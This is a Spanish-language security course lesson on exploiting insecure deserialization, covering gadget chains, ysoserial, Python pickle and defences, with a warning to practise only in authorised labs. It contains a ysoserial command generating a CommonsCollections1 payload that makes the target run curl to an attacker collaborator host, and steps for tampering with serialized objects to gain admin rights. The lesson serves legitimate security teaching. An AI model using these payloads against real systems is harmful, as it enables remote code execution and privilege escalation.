Parte: 4 — Seguridad de aplicaciones web · Fuente: The Web Application Hacker's Handbook / OWASP ⏱️ Duración estimada: 120 min · Nivel: Experto
Comprender y explotar la deserialización insegura: cuando una aplicación reconstruye objetos a partir de datos controlados por el atacante, permitiendo desde manipulación de estado hasta ejecución remota de código (RCE) mediante cadenas de gadgets. Es un fallo complejo pero de altísimo impacto.
⚠️ Ética: RCE de máximo impacto. Practica solo en labs propios/autorizados (PortSwigger). Nunca contra sistemas ajenos.
Al finalizar, el alumno podrá:
| # | Tema | Por qué importa |
|---|---|---|
| 1 | Serialización: concepto | Base del fallo |
| 2 | Formatos por lenguaje | Reconocer el objetivo |
| 3 | Manipulación de estado | Impacto básico |
| 4 | Gadget chains | Camino a la RCE |
| 5 | ysoserial y herramientas | Automatizar la explotación |
| 6 | Pickle en Python | Vector frecuente en ML/APIs |
| 7 | Defensa: no deserializar input | Cierre del fallo |
__reduce__, peligroso con datos externos.__wakeup, readObject). Característica: puntos de entrada del ataque.# ysoserial para Java (lab)
java -jar ysoserial.jar CommonsCollections1 'curl http://tu-collab' | base64
⚠️ Solo en labs propios.
O:8:... en PHP).admin=true), reserializa y reenvía.pickle.loads sobre datos externos es peligroso.Resuelve un lab de deserialización de PortSwigger: primero uno de manipulación de atributos y, si llegas, uno de RCE con gadget chain. Criterio de aceptación: al menos el lab de manipulación queda resuelto con evidencia del cambio de privilegio; documentas el formato serializado y por qué deserializar input no confiable es la causa raíz.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| El objeto no se acepta | Longitud/formato mal recalculados; ajusta el serializado |
| ysoserial no funciona | Gadget no presente en el classpath; prueba otra chain |
| Sin señal de RCE | Deserialización ciega; usa OOB |
| Firma HMAC en el objeto | Está firmado; necesitas la clave (otro vector) |
| Pickle sin efecto | El endpoint valida tipo; documenta la defensa |
❓ ¿Por qué es tan difícil de explotar? Requiere conocer las librerías presentes para encadenar gadgets. La manipulación de estado, en cambio, es sencilla.
❓ ¿JSON es seguro? JSON no instancia objetos arbitrarios, así que evita el vector clásico, pero sigue necesitando validación de esquema y de tipos.
❓ ¿Cómo lo defiendo? No deserialices datos no confiables. Si es inevitable, usa formatos de datos (no de objetos), firma e integridad, y allowlists de clases.
Clase 105 — Control de acceso roto: IDOR y path traversal